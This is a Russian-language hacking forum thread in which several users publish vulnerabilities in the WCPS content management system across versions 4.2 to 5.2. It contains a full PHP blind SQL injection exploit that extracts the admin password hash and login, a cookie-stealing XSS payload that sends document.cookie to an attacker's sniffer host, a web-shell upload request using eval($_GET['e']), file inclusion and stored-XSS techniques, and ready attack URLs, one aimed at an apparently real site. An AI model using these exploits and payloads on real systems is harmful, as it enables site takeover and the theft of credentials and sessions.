[ Обзор уязвимостей WCPS ]

Discussion in 'Веб-уязвимости' started by Dr.Z3r0, 6 Oct 2007.

  1. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    SQL injection WCPS v.4.3 ***
    С этого дня я могу называться маньяком. Поздравте меня, я написал сплоент под BENCHMARK...

    Ладно приступим к описанию баги. Уязвимый файл php/cron_jsnews.php. Строка 49 гласит:
    Code:
    $results = MYSQL_QUERY("SELECT id FROM ".$wcpref."${nma}_stat WHERE lang='$portal_lang' AND da>0");
    Ну и переменная $nma не фильтруется. Но к сожалению в данном случае требется register_globals=on.

    Теперь перейдем к минусам. Из этого запроса нету прямого вывода, и нет вывода ошибок. А это значит что юзать нам только посимвольный перебор с помощью BENCHMARK (я представляю отвернувшиеся лица, но советую дочитать до конца).

    Я согласен что эта скуля не ахти как юзабельна, но со сплоентом, пусть это занимает время, но всеже работает, да-да именно со сплоентом). Вообще я редко встречал эксплоиты подобного рода, ну чтож вот и сам сплоент:
    PHP:
    <?php
    /*----------------------------------------*\
    Exploit for cms WCPS v 4.2.1
    Blind SQL injection (use Benchmark)
    Author: Dr.Z3r0
    \*----------------------------------------*/
    //---------Основные настройки-------------//
    $set['host']='test2.ru';//Хост с CMS WPCS
    $set['patch']='';//Путь к WCPS без слеша на конце!
    $set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
    $set['prefix']='wc_';//Префикс таблиц в БД
    //----------------------------------------//
    //--------Дополнительные настройки--------//
    $set['retfile']=false;//true-запись в файл, false-Вывод на экран
    $set['retname']='return.txt';//Имя файла для вывода
    //----------------------------------------//
    //----------Настройки BENCHMARK-----------//
    $set['timbench']=5;//секунд для задержки создаваемой BENCHMARK-ом
    $set['pmbench']=1;//погрешность в секундах
    $set['cntbch']=3;//Количество запросов для определение среднего времени ответа
    $set['bnzn']=99999;//Начальное значение иттераций BENCHMARK-а
    //----------------------------------------//

    set_time_limit(0);
    ignore_user_abort(true);

    function 
    create_packet($num,$sumb,$znak,$zap=false,$column='user_pass'){
        global 
    $set,$btime;
        if(!
    $zap){
            
    $tmp="user WHERE IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",BENCHMARK(".$btime['bnzn'].",MD5(current_time)),'1')/*";
            
    $tmp="nma=".urlencode($tmp);
        }else{
            
    $tmp=$zap;
        }
        
        
    $header="GET ".$set["patch"]."/php/cron_jsnews.php?".$tmp." HTTP/1.0\r\n";
        
    $header.="Accept-Language: en-us,en;q=0.5\r\n";
        
    $header.="Accept-Charset: utf-8,*;q=0.7\r\n";
        
    $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png;q=0.5\r\n";
        
    $header.="User-Agent: 1\r\n";
        
    $header.="Connection: keep-alive\r\n";
        
    $header.="Host: ".$set["host"]."\r\n\r\n";
            
        return 
    $header;
    }

    function 
    logg($str,$type=1){
        global 
    $set;
        
        if(
    $set['retfile']){
            
    $fp fopen ($set['retname'],'a');
            
    fwrite ($fp$str.($type===1?"\r\n":''));
            
    fclose ($fp);
        }else{
            echo(
    $str.($type===1?"<br>\r\n":''));
            
    flush();
        }
    }

    $btime['sred']=5;
    $btime['btime']=10;
    $set['count']=0;

    function 
    send_packet($packet,$type=1){//type=0 -возврат времени запроса; 1-возврат boolean; 2-возврат ответа сервера
        
    global $set,$btime;
        
        
    $set['count']++;
        
    $btime['start']=time();
        
    $dt='';
        
        
    $fp=fsockopen($set['host'], 80);
        
    fwrite($fp$packet);
        while(!
    feof($fp)){
            
    $dt.=fread($fp1024);
        }
        
    fclose($fp);
        
        
    $btime['stop']=time();
        
    $btime['all']=$btime['stop']-$btime['start'];
        if(
    $type===1){
            if(
    $btime['all']>=$btime['sred'])return false;
            else return 
    true;
        }elseif(
    $type===2){
            return 
    $dt;
        }else{
            return 
    $btime['all'];
        }
    }
    $set['start']=time();

    logg('<b>'.$set['host'].'</b>');
    logg('<b>Определяем среднее время ответа сервера...</b>');
    for(
    $i=0;$i<$set['cntbch'];$i++){
        
    $ret=send_packet(create_packet('','','','tmp=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'),0);
        
    logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
        
    $btime['bngrzk'][$i]=$ret;
    }
    $tmp=0;
    foreach(
    $btime['bngrzk'] as $val)$tmp+=$val;
    $btime['bngrzk']=round(($tmp)/(count($btime['bngrzk'])));
    logg('Среднее время ответа сервера: <b>'.$btime['bngrzk'].' сек.</b>');
    $set['timbench']+=$btime['bngrzk'];
    logg('Оптимальное значение задержки создаваемой бенчмарком '.$set['timbench'].' сек.');
    logg('');
    $btime['oktime']=false;
    $btime['bnzn']=$set['bnzn'];
    logg('<b>Подбираем кол-во итераций BENCHMARK-а...</b>');
    for(
    $i=0;$i<20;$i++){
        
    $ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
        if(
    $ret<($set['timbench']-$set['pmbench'])){
            
    $tmp='Мало.';
            
    logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
            if(
    $ret===0){
                
    $btime['bnzn']=$btime['bnzn']*$set['timbench'];
            }else{
                
    $ret=($set['timbench'])/($ret);
                
    $btime['bnzn']=round(($btime['bnzn'])*($ret));
            }
        }elseif(
    $ret>($set['timbench']+$set['pmbench'])){
            
    $tmp='Много.';
            
    logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
            
    $ret=($ret)/($set['timbench']);
            
    $btime['bnzn']=round(($btime['bnzn'])/($ret));
        }else{
            
    $tmp='Подходит.';
            
    $btime['oktime']=true;
            
    $btime['timbench']=$ret;
            
    logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
            break;
        }
    }

    if(!
    $btime['oktime']){
        
    logg('Не удалось попасть в рамки '.$set['timbench'].'±'.$set['pmbench'].' сек.');
        
    logg('Возможные причины:');
        
    logg('-Уязвимость залатанна');
        
    logg('-Неверный префикс');
        
    logg('-Маленький диапазон погрешности');
        
    logg('-Так сложились звезды...');
        die();
    }
    logg('Число итераций <b>'.$btime['bnzn'].'</b> укладывается в '.$set['timbench'].'±'.$set['pmbench'].' сек.');

    logg('');
    logg('<b>Определяем среднее время ответа сервера с нагрузкой...</b>');
    for(
    $i=0;$i<$set['cntbch'];$i++){
        
    $ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
        
    logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
        
    $btime['timebench'][$i]=$ret;
    }
    foreach(
    $btime['timebench'] as $val)$tmp+=$val;
    $btime['timebench']=round(($tmp)/(count($btime['timebench'])));
    logg('Среднее время ответа сервера с нагрузкой: <b>'.$btime['timebench'].' сек.</b>');
    $btime['sred']=round(($btime['timebench']+$btime['bngrzk'])/2);
    logg('Крит. число секунд: <b>'.$btime['sred'].' сек.</b>');
    $btime['timbench']=$btime['timebench'];

    $ret='';
    logg('');
    logg('Все подготовительные запросы звершены');
    logg('Приступаем к работе...');
    logg('');
    logg('<b>Выдираем хеш...</b>');
    logg('<sub>(Пока можно сходить и попить кофе... Это относительно долго...)</sub>');
    for(
    $i=1;$i<=32;$i++){
        
    $sred=0;
        
    $tmp='';
        
    $i2=0;
        
    $i3=0;
        
    $znak='>';
        
    $mins=48;//Код символа "0"
        
    $maxs=103;//Код символа "f"
        
    while(1){
            if(
    $maxs-$mins>3){
                
    $sred=round(($mins+$maxs)/2);
            }else{
                
    $sred=$mins+$i2;
                
    $znak='=';
                
    $i2=$i2+1;
                if(
    $mins>$maxs)break;
            }
            if(!
    send_packet(create_packet($i,$sred,$znak),1)){
                if(
    $znak==='>')$mins=$sred+1;
                else if(
    $znak==='='){
                    
    $ret.=chr($sred);
                    break;
                }
            }else{
                if(
    $znak==='>')$maxs=$sred;
            }
            if(
    $i3>10)break;
            else 
    $i3++;        
        }
    }
    if(empty(
    $ret))die('Не получилось :(');
    logg('Хеш: <b>'.$ret.'</b>');
    $ret='';
    logg('');
    logg('<b>Выдираем логин...</b>');
    for(
    $i=1;$i<=32;$i++){
        
    $sred=0;
        
    $tmp='';
        
    $i2=0;
        
    $i3=0;
        
    $znak='>';
        
    $mins=0;
        
    $maxs=256;
        while(
    1){
            if(
    $maxs-$mins>3){
                
    $sred=round(($mins+$maxs)/2);
            }else{
                
    $sred=$mins+$i2;
                
    $znak='=';
                
    $i2=$i2+1;
                if(
    $mins>$maxs)break;
            }
            if(!
    send_packet(create_packet($i,$sred,$znak,false,'user_login'),1)){
                if(
    $znak==='>')$mins=$sred+1;
                else if(
    $znak==='='){
                    
    $ret.=chr($sred);
                    break;
                }
            }else{
                if(
    $znak==='>')$maxs=$sred;
            }
            if(
    $i3>10)break;
            else 
    $i3++;        
        }
        if(
    substr_count($ret,chr(0))){
            
    $ret=str_replace(chr(0),'',$ret);
            break;
        }
    }
    if(empty(
    $ret))die('Не получилось :(');
    logg('Логин: <b>'.$ret.'</b>');

    $set['stop']=time();
    logg('');
    logg('<b>Статистика:</b>');
    logg('Затраченно '.($set['stop']-$set['start']).' сек.');
    logg('Всего '.($set['count']).' запросов.');
    logg('Среднее время ответа '.round(($set['stop']-$set['start'])/($set['count'])).' сек.');
    ?>
    Небольшая вставка статистики работы сплоента:
    При небольшом знании пыха этот сплоент можно переделать изменив пару строк под любую скулю подобного рода.

    *** - примичание: как не странно но, эту Уязвимость они даже непытались залатать - сплоент отлично работает и в новой версии.
     

    Attached Files:

    #21 Dr.Z3r0, 9 Feb 2008
    Last edited: 31 May 2011
    7 people like this.
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem v. 4.3 Пассивная XSS

    Ну вот вышла новая версия, ну и разумеется не без уязвимостей...

    [Пассивная XSS]

    Уязвим скрипт php/wojs.php - вообще это очень смешно, т.к. уязвимостей в нем находили много (и даже в том же параметре (но та уязвимость уже исправлена)), но реализовать нормальную защиту авторы так и не смогли.

    Уязвимая часть скрипта:

    PHP:
    <script language='javascript' src='http://<?echo $_SERVER['HTTP_HOST'].$portal_subdir;?>/php/<?echo $_GET['inflang'].$_GET['type'];?>.js'></script>
    В прошлый раз можно было осуществить перезапись переменных и поменять значение переменной $_SERVER['HTTP_HOST'] на произвольное, теперь эта ошибка исправлена, но вот подставить в переменную $_GET['inflang'] значение на подобие ../dir нам никто не мешает. Наверное возникнет вопрос что нам это даст ведь "перемещаться" мы будем только в пределах сайта с уязвимой cms, да и к тому же символ %00 режется (не квотой, а в фильтре).
    Но это решаемо:

    1) Нам никто не мешает залить файл с расширением .jpg и любым содержанием (заливка через аватарки)
    2) Еще авторы не учли что символ %00 нам не нужен, можно обойтись (в данном случае) символов ? (символ знака вопроса).

    И так делаем следующее:

    1. У себя на компе создаем файл с содержимым:

    Code:
    document.location.replace("http://host.ru/sn.php?c="+document.cookie);
    Где http://host.ru/sn.php адрес вашего хоста со снифером.

    2. Сохраняем файл с расширением .jpg, ну к примеру img.jpg

    3. Через редактирование профиля, на сайте, заливаем нашу 'аватарку'.

    4. Все теперь линк будет выглядеть так:

    Code:
    http://site.ru/php/wojs.php?inflang=../images/avatar/vashaavatarka.jpg?
    !!!не забывайте знак вопроса на конце!!!

    И как только пользователь перейдет по ссылке, его куки улетят нам.

    Кстати что бы заюзать уязвимость значения регистер глобал и мейджик квотс могут быть совершенно любыми (знак вопроса не обрубается квотой).

    Что бы автоматически создать админа при получение куков используйте, ранее выложенный, снифер (смотреть аттач).

    ====================================

    Add (Две Уязвимости, найденные еще в прошлой версии, не залатаны):

    1. Ранее найденная пользователем Macro пассивная xss так же отлично работает и в этой версии, наверное исправлять её авторы не сочли нужным:

    Т.е. переходим по ссылке:

    Code:
    http://test2.ru/wcps/<script>alert("kreved");</script>
    И получаем нужный нам результат.

    2. Ранее найденная Dr.Z3r0 SQL инъекция не залатана в новой версии!

    ====================================
     

    Attached Files:

    • sn.zip
      File size:
      942 bytes
      Views:
      588
    #22 Grey, 12 Feb 2008
    Last edited by a moderator: 31 May 2011
    1 person likes this.
  3. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Множественные XSS в cms WCPS v4.3.1
    4 пассивные XSS по мере убывания их юзабельности:

    Code:
    http://test2.ru/php/print.php?id=1&email_autor=1%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E1&nma=news
    Code:
    http://test2.ru/php/exp_to_save.php
    
    POST: asfile=%3Cscript%3Ealert%28%29%3C%2Fscript%3E
    PS: XSS срабатывает только на админах


    Code:
    http://test2.ua/php/dload.php?ids=%3Cscript%3Ealert()%3C/script%3E
    PS: только для сайтов в имени которых есть строка "ua"


    Code:
    http://test2.ru/php/gzstat.php?id=1&nma=news&categoria=<script>alert('xss')</script>
    PS: xss образуется в загружаемом файле

    ============================================================================

    Примичание Grey`я:

    Почитал новости и форум на офф сайте этой cms, ну очень весело... Пару комментов для автора этого чуда:

    Code:
    продвинутому хакеру отсутствие версии это только чуть чуть задержит опредиление что делать, [COLOR=Red]обычно последняя еще не взломана[/COLOR].
    Нет это как раз не обычно.

    Code:
    Вот уязвимости надо убирать.
    Code:
    Рано или поздно мы вычистим все баги
    Ога убери их на х@@ =))
    Мне всегда казалось что их надо исправлять, а еще лучше кодить так что бы в одном скрипте не было по несколько бажных кусков, только для этого нужен мозг...


    Code:
    Вышел новый апдейт с 4.3 до 4.3.1
    
    Апдейт обязателен, т.к. связан с безопасностью
    
    ИЗМЕНЕНИЯ:  
     1) Устранена ошибка 404
    Убило. Что больше нет ошибки 404? Типа существуют все страницы? Очень привликательное изменение.
     
    #23 Dr.Z3r0, 17 Feb 2008
    Last edited by a moderator: 17 Feb 2008
    3 people like this.
  4. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    PHP-including в cms WCPS v4.3.1

    Решил вот еще багу выложить, хотел новой версии дождаться но видимо админу там пох на баги. Чтож с данного момента эта цмс может официально называться самой бажной так как в ней присутствуют все основные типы багов.

    Вообщем что можно выжать полезного:
    Code:
    [b]http://test2.ru/?nma=index&fla=../../admin/default/index[/b]
    (инклудим вывод конфигурации системы...)
    
    [b]http://test2.ru/?nma=index&fla=../../admin/default/loads[/b]
    (инклудим вывод модулей пыха)
    
    [b]http://test2.ru/?nma=index&fla=../../admin/info/index[/b]
    (вывод всех массивов пыха)
    
    [b]http://test2.ru/?nma=index&fla=../../admin/info/index&ops=nomenu[/b]
    (PHP info)
    
    [b]http://test2.ru/?nma=index&fla=../../inc/body[/b]
    (ДДОС, скрипт инклудит сам себя до бесконечности)
     
    2 people like this.
  5. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem v. 4.3.1

    Пассивная XSS:

    Code:
    http://test2.ru/php/images_jpg.php?nma=..&vara=inc&images=config.php&action=wo&title=</title><script>alert();</script>
    Уязвимый кусок скрипта:

    PHP:
    $path=(getenv('OS'))?dirname(getenv('DOCUMENT_ROOT')."/x")."$nma/".$vara.$slash.$images:getenv('DOCUMENT_ROOT')."$nma/".$vara.$slash.$images;
    if (!
    file_exists($path)){$error=0;}
    Вообщем что бы выполнилось условие "if ($error)", нужно что бы файл, указанный в переменной $path, существовал.

    PHP:
    if ($error){
    if (@
    $action=='wo'){
        
    $size=getimagesize($path);
            
    $size[2]=$size[1]+25;
            if(empty(
    $title)){$title=strtoupper($vara)." * $images";}
        echo 
    "<TITLE>$title &nbsp;&nbsp;</TITLE>
    Дальше видим что значение переменной $action должно быть "wo". Ну а дальше выходим на финишную прямую "echo "<TITLE>$title &nbsp;&nbsp;</TITLE>", в переменную $title вставляем скрипт, а остальное оставляем без изменений.
     
    #25 Grey, 13 Mar 2008
    Last edited by a moderator: 25 Jul 2011
    2 people like this.
  6. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem v. 4.3.1 Льём шелл! + возможность удалять файлы

    Требуется что бы: регистер глобалс = офф

    Уязвимость в файле mod/user/_upl.php, вот уязвимый кусок кода:

    PHP:
    if(empty($wcpsval['tip_loadimages'])){ $tip_loadimages="jpg|gif|png"; }
    else { 
    $tip_loadimages=$wcpsval['tip_loadimages']; }
    Занятно то что $wcpsval['tip_loadimages'] мы более чем спокойно можем изменить, т.е. самим указать разрешенные расширения файлов, что даёт нам возможность закачивать любые файлы.

    Я отснифал пакет с отправкой файла, получилось что то вроде этого:

    Code:
    POST /ajax.php?nma=user&fla=_upl&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0
    User-Agent: Opera/9.23 (Windows NT 5.1; U; ru)
    Host: хост
    Referer: http://хост/index.php?nma=user&fla=accaunt
    Cookie: куки
    Cookie2: $Version=1
    Connection: close
    Content-Length: 192
    Content-Type: multipart/form-data; boundary=----------UEffLig9vPkZpftUKEtdJW
    
    ------------UEffLig9vPkZpftUKEtdJW
    Content-Disposition: form-data; name="q"; filename="img.phtml"
    Content-Type: text/plain
    
    <?php eval($_GET['e']); ?>
    ------------UEffLig9vPkZpftUKEtdJW--
    
    Теперь поменяем первую строчку на такую:

    Code:
    POST /ajax.php?nma=user&fla=_upl&wcpsval[tip_loadimages]=phtml&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0
    Теперь расширение phtml более чем правильное =)

    Для удобства я написал сплоент - всё что нужно указать это куки и хост (все что делает сплоент это отправляет пакет, результат нужно смотреть самим, хоть он и пишет что шелл залит, но это может быть не так).

    P.S. Т.к. залить файл с расширением .php нельзя из-за .htaccess который блочит пхп файлы, заливать шелл нужно в файл .phtml, но не на каждом серваке такие файлы будут обрабатываться.
     
    #26 Grey, 9 May 2008
    Last edited by a moderator: 25 Jul 2011
  7. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    WCPS modules

    mod_BigNews1.1 passive xss

    ps в оригинальном файле не проканает)

    Про эту Паныч упоминал в постах, сорри если повторю, просто нашел сам)

    php/exp_to_save.php
    /php/print.php

    Mod download sql inj
    Пример

     
    1 person likes this.
  8. Ollorin

    Ollorin New Member

    Joined:
    16 Feb 2006
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Grey, такой трабл возник, я решил проверить работоспособность шелла во второй версии сплоита, вырезал его и расшифровал, он-то нормально работает, но если не расшифровывать, а оставить как есть (т.е в том виде, в котором шелл будет лежать в /images/avatar/), то выскакивает ошибка вида:
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in T:\home\localhost\2.php on line 1
    Насколько я понял, ПхП не нравится наличие "\" в первой строке, если удалить оба слеша, то всё работает, но насколько я понял они нужны для маскировки кавычек...как быть?
    +не могу понять, на одних и тех же сайтах первый шелл создаётся скриптом, а второй нивкакую...
     
    #28 Ollorin, 9 May 2008
    Last edited: 9 May 2008
  9. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Если тебе нужен этот шелл что бы просто юзать, то вот он - (смотреть аттач).

    В сплоенте в бейс64 я его закинул только для того что бы не экранировать большое количество кавычек, а так надо всего две. Слеши нужны только в сплоенте, т.к. там нужно экранировать эти кавычки. Если ты, зачем то, хочешь юзать шелл закинутый в бейс64, как в сплойте, то, когда вытащишь его из сплойта, просто убери слеши - они нужны только для сплоента, не более.

    Тут уж смотри по мелочам - может ты во второй сплойт забываешь вписывать куки и адрес сайта. Или случайно что то изменил в нём - я его тестил и косяков не обнаружил.

    P.S. проверь личку, я тебе написал туда.
     

    Attached Files:

    #29 Grey, 9 May 2008
    Last edited: 9 May 2008
    1 person likes this.
  10. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    REMOTE INCLUDE WCPS v.4.4.1
    Собственно возможны и более ранние версии. Интересно какая это по счету бага в этой цмс)

    1. Описание
    Так вот кратенькое описание баги. Уязвим файл inc/php_function.php
    PHP:
    <?php
    ...
    //Функции для слеширования всех "лишних"  символов во всех переменных
    //Как видно если мы объявим массив $_POST то массив $_COOKIE 
    //слешироваться не будет. Это мы и будем использовать ниже.
    elseif ( is_array($_POST)) {
      ...
    }
    elseif ( 
    is_array($_COOKIE)) {
     ...
    }
    ...
    //Так тут у нас есть SQL injection, тк переменная $op не проверяется.
    @$query="SELECT name, value from ".$wcpref."information where modular='1' OR (modular='$nma' OR modular='$op' )";
    if(
    $result_info MYSQL_QUERY($query)){
      ...
      while (
    $line MYSQL_FETCH_ROW($result_info)){
        
    //А вот и интересная строчка. В скрипте создаются глобальные переменные
        //из запроса, который мы можем модифицировать.
        
    $$line[0]=$line[1];
        ...
      }
    }
    ...
    //Ну а вот и инклуд.
    if(!empty($_POST['set_skinlang'])){include("$portal_root/inc/set_skinlang.php");}
    //Тоесть алгоритм действий такой. Мы юзаем SQL injection после чего создается
    //новое значение для переменной $portal_root после чего мы сможем инклудить
    //любой файл в том числе и удаленный. 
    //Но как видно из кода только, когда:
    //magic_globals_gpc=off
    //register_globals=on
    ...
    ?>
    2. Exploit
    Немного об принципе работы эксплойта. Эксплойт имеет веб интерфейс. И не трудно заметить он умеет работать как и в режиме Remote include так и Local include. Зачем?

    Так вот ни для кого ни секрет что не везде разрешен удаленный инклуд. В таком случае эксплойт загружает на сервер с wcps аватарку которую впоследствии инклудит. Иначе он вынуждает wcps инклудить файл с другого сервера со специально составленным php кодом, благодаря чему на сервер загружается веб шелл, URL до которого вы также должны будете указать в настройках експлойта.

    Вообщем в обеих случаях при удачной эксплуатации мы имеем вебшелл, прочитанный конфиг и логины/хеши админов.


    Ну и собственно сам эксплоит:
    _http://ifolder.ru/7310117 (12кб)
    Pass:dflgnrmgqwef
     
    #30 Dr.Z3r0, 11 Jul 2008
    Last edited: 31 May 2011
    5 people like this.
  11. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    SQL Injection in WCPS v.4.4.2
    3.14здец вот еще одна тысячная по счету бага.


    1. ОПИСАНИЕ
    Вообщем не буду привдить примеры с кодом и тд т.к уязивмого кода будет очень много, и описывать все мне просто лень. Распишу на словах.

    Вообщем в этой поганой цмс у каждого юзера существует его Ник и Логин. Они могут быть одинаковыми могут и нет. Вообщем Логин используется только для авторизации юзера, а соответственно его Ник выводится везде, типа рядом с его сообщениями ну и тд.

    Проблема состоит в том что в этой цмс в качестве Ника можно использовать строку содержащую спецсимволы. Но все замечательно слешируется при попадании этого ника в БД при регестрации.

    Но дело в том что инфа извлекается в массив SESSION при авторизации БЕЗ СЛЕШИРОВАНИЯ и используется в дальнейшем в своих запросах.

    Это была проблема. А узявимость можно замутить в модуле приватных сообщений. Ну и тут можно привести немного кода. Файл mod/privat/new.php
    PHP:
    $query="INSERT INTO ".$wcpref."privat VALUES ('', '$pmunames', '$pmsubject', '$_SESSION[user_fio]', '$now', '$pmmsn','1', '0') ";
     
    mysql_query($query);
    Нормальный запрос принимает вид:
    Code:
    [COLOR=White]INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'Ник', 'Время', 'Сообщение','1', '0') [/COLOR]
    Ну казалось бы, ну и что здесь такого? А вот что. Регистрируем нового юзера с ником "bla'/*" (без ковычег "), в итоге наш запрос при создании становится немного неккоректным и будет выглядеть так:
    Code:
    [COLOR=White]INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*[/COLOR]', 'Время', 'Сообщение','1', '0') 
    а превратить его в валидный достаточно просто, в теле сообщения пишем "*/,1,([SQL запрос]),1,0)/*" (без ковычег "), и получаем запрос с выводом в самом сообщении следующего плана:
    Code:
    [COLOR=White]INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*[/COLOR]', 'Время', '[COLOR=White]*/,1,([SQL запрос]),1,0)/*[/COLOR]','1', '0') 
    2. ЭКСПЛУАТАЦИЯ
    Все было бы за**ись конешно, но тут присутствует одно маленькое е*антство как фильтрация слов user_login и user_pass а это как вы догадались имена полей с логинами и хешами в таблице с юзерами.

    а. SQL injection
    Так как вывести логины с хешами у вас не выйдет то юзабельность этой баги в этом смысле спадает на нет. Но все же пару советов для эксплуатации этой баги в качестве SQL-inj. Так как вывод идет в тело отправленного сообщения то юзать в качестве Адресата какого нибудь другого юзера - крайне не разумно. Можно указать свой Ник а идиально для этого зарегить еще один аккаунт.


    b. Active XSS
    Тут уже поинтереснее. Так как вывод идет в тело сообщения из БД без фильтрации то можно заюзать охуительную Active XSS "отправив" админу сообщение с нашим кодом. Плюс если заделать функциональный снифер, то получится помощнее чем простая SQL inj.

    Как? Очень просто. В тело сообщения пишем(разумеется без второй строчки)
    Code:
    */,1,(SELECT 0xCFF0E8E2E5F2213C7363726970743E616C65727428646F63756D656E742E636F6F6B6965293C2F7363726970743E),1,0) -- d
                                [i]Привет!<script>alert(document.cookie)</script>[/i]
    Ну вообщем тут можете фантазировать как хотите)

    2. OUTRO
    Вообще интересная бага, да и сам метод реализации.
    Можно было бы засунуть весь запрос в ник, но смысла нету. Посему я выбрал разбить запрос на две части.
    А и еще не забудьте потом поменять свой ник в профиле на что нить менее бросающееся в глаза)

    Удачи...
     
    #31 Dr.Z3r0, 15 Aug 2008
    Last edited by a moderator: 11 Dec 2009
    9 people like this.
  12. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    SQL Injection in WCPS v.4.4.3

    Сцуко, чудики, они даже баги латать нормально не умеют =\.

    Собственно заплатка предущей уязвимости:
    PHP:
    if(!preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i"$logines)){
        print 
    "Kernel panic";
        exit;
    }
    if(!
    preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i"$admin_name)){
        print 
    "Kernel panic";
        exit;
    }
    не ну не ппц ли? Вообщем этот зло**учий фильтр обходится элементарно.

    Создаем юзера с ником "bla'/*bla" (без ковычег "), пишем PM сообщение "*/,1,([SQL запрос]),1,0)/*" (также без ковычег ") то есть все тоже самое как написанно выше, за исключением немного измененного Ника у юзера.

    Удачи...
    Авторам привет ;)
     
    #32 Dr.Z3r0, 23 Aug 2008
    Last edited by a moderator: 11 Dec 2009
    2 people like this.
  13. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    SQL Injection in WCPS v5
    И снова здравствуйте.

    Собственно вы не поверете, и во второй раз эту же багу у них залатать не вышло, как ни смешно/грустно бы это не звучало.

    В этой версии у них появился фильтр следующего рода:
    PHP:
    $reg_login str_replace"'"'`'$reg_login );
    то бишь кавычка в логине заменятеся на апосторф(ну или как этот символ зовтеся), то есть вроде мы запрос модифицировать не можем.

    Ну а тогда представим следующий запрос к БД:
    Code:
    INSERT INRO ... VALUES (...,'[COLOR=DarkOrange][ваш логин][/COLOR]','[COLOR=DarkOrange][любое другое поле кторое вы можете изменить][/COLOR]',...)
    Так вот так как вы можете использовать в своем логине слеш \. То можно сдвинуть запрос как бы на одну кавычку. Допустим ваш логин blablabla\ тогда запрос принимает вид:
    Code:
    INSERT INRO ... VALUES (...,'[COLOR=DarkOrange]blablabla\',[/COLOR]'[любое другое поле кторое вы можете изменить]'[COLOR=DarkOrange],...)[/COLOR]
    то есть мы выходим за кавычку и можем заюзать SQL injection.

    PS теперь перед публикацией баги о ней будет сообщатся автору, кстати снова ему привет ;)
     
    2 people like this.
  14. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    SQL Injection in WCPS v5.2
    Требуется авторизация в админке

    Blind SQL inj.
    http://wcps/admin.php?op=ban&flag=suser&active=view_user&modul=default&nl=1+and+substring(@@version,1,1)=5

    Раскрытие путей.
    http://wcps/admin.php?op=options&flag=valid&pers=russian&madul[]=1340000
    http://wcps/admin.php?op=counter&flag=clear&action=08&ids[]=wc_counter_referer
     
  15. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Бум бум бум...
    SQL injection WPCS 5.2
    Need: register_globals = On, mq=off.
    Качаем файл значит, открываем его и видим:
    [​IMG]

    Example:
    _http://www.igorapark.ru/php/gzstat.php?id=23&categoria=-1'+union+select+version()+--+
     
    #35 Ctacok, 19 Jun 2010
    Last edited: 19 Jun 2010
    4 people like this.
  16. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Активная XSS WPCS 5.2
    Пишем куда хотим, а точнее где есть поддержка bb кодов.
     
    1 person likes this.
  17. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Blind SQLi найденная мной:

    Поле referer: 1' or sleep(10)='

    Версия последния, присутствует на офф сайте